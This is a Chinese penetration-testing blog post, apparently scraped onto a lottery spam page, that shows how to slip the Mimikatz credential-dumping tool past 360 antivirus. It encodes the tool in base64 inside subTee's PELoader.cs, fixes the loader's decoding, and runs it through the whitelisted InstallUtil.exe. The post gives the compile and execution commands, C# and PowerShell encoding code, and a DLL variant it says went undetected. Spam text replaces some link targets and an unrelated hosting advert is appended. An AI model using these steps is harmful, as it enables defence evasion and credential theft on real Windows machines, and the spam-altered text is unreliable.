1分快三注册_1分快三官网_1分快三

   2个月前 (04-15)  渗透注入
文章评分 0 次,平均分 0.0

1分快三网址:0x00 前言


最近subTee在其博客中介绍了如何利用白名单绕过防护,但细节存在bug,所以本文仅介绍如何修复其bug并利用该方法绕过360,更多利用方法值得探索

博客链接:

1分快三网址(需翻墙)

文章地址:

http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻墙)

0x01 测试目标

下载最新版本Mimikatz,实现绕过杀毒软件的查杀。

0x02 测试环境


操作系统:Win7 x64

mimikatz版本:2.0 alpha 20150906 (oe.eo) edition(目前为止最新)

下载链接:1分快三注册

测试日期:9/14/2015

0x03 实际测试


建议先了解参考链接,链接中提到的相关基础知识不做再次介绍

1、下载最新mimikatz,测试查杀情况

毫无疑问,被查杀,如图

利用白名单绕过360实例

2、利用InstallUtil.exe执行程序

(1)下载http://gist.github.com/subTee/00cdac8990584bd2c2fe并保存为PELoader.cs

(2)参照博客中的示例,执行如下代码:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图,生成PELoader.exe,然后通过InstallUtil.exe执行PELoader.exe

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

成功加载运行mimikatz

进程显示为InstallUtil.exe,如图

利用白名单绕过360实例

(3)测试生成的PELoader.exe查杀情况

如图,360成功检测威胁

利用白名单绕过360实例

(4)尝试修改PELoader.cs

阅读代码发现Line853-856存储了base64加密后的mimikatz

利用白名单绕过360实例

那么参照作者给出的修改方法修改

作者给出的修改方法如下:

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *

(5)测试Base64 Encode Mimikatz In PowerShell

按照作者给出的方法对mimikatz作base64编码并保存在Mimikatz.b64文件中

如图

利用白名单绕过360实例

执行Powershell代码

执行后生成Mimikatz.b64,如图

利用白名单绕过360实例

打开将内容复制到PELoader.cs中的变量KatzCompressed的定义中,如图

利用白名单绕过360实例

按照步骤(2)执行测试,发现错误,如图

利用白名单绕过360实例

0x04 分析


作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序

0x05 解决方案


在做了多次实验并研究代码后成功找到了错误原因:

Powershell作base64编码同c#对base64解码之间存在解析错误

解决步骤:

(1)使用c#对mimikatz作base64加密

代码如下:

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

我使用的环境是vs2012,新建c#工程,填写以上代码,编译后运行,生成新的mimikatz.b64,如图

利用白名单绕过360实例

细心的同学可以发现和之前使用Powershell生成的mimikatz.b64有所区别

(2)替换变量KatzCompressed的定义内容

如图

利用白名单绕过360实例

(3)修改解密过程

定位PELoader.cs Line106,去掉

byte[] decompressed = Decompress(FromBase64);

在前面添加“//”即可,如图

利用白名单绕过360实例

(4)再次编译并利用InstallUtil.exe执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图

利用白名单绕过360实例

证明修改成功,能够顺利执行我们修改的代码

(5)增强免杀

采用如下生成步骤:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

如图

利用白名单绕过360实例

也可以成功加载mimikatz

测试查杀情况

如图

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

注:测试全过程开启360,主动防御未触发

0x06 小结


通过InstallUtil.exe执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。

参照zone中大家的建议,希望这篇文章是大家喜欢看到的类型:)


//下面这个css和插件后台设置的主题有关系,如果需要换样式,则需要修改以下CSS名称

 

除特别注明外,本站所有文章均为铁匠运维网原创,转载请注明出处来自http://bcarchs.com/23763.html

中国互联是江苏邦宁科技有限公司旗下的著名IT服务供应商品牌之一,是国内IDC行业十大之一、企业互联网服务首选品牌。江苏邦宁科技成立于2003年,是国内互联网名称与数字地址服务、云数据中心机房服务的引领者,是行业云计算解决方案、网站智能建设、企业智能办公软件、移动互联网开发的创新者。自成立以来,公司秉承“一切为了客户满意”的核心理念,坚持“国际化、专业化、高端化”的发展思路,坚持“以客户需求为导向、以技术创新为基础、以服务创新为支撑”,先后为国内各级政府、社会服务机构、国内外众多500强企业及中小企业、个人客户提供了专业、高质、优越的互联网应用服务。

发表评论

暂无评论

切换注册

登录

忘记密码 ?

您也可以使用第三方帐号快捷登录

切换登录

注册

扫一扫二维码分享
返回首页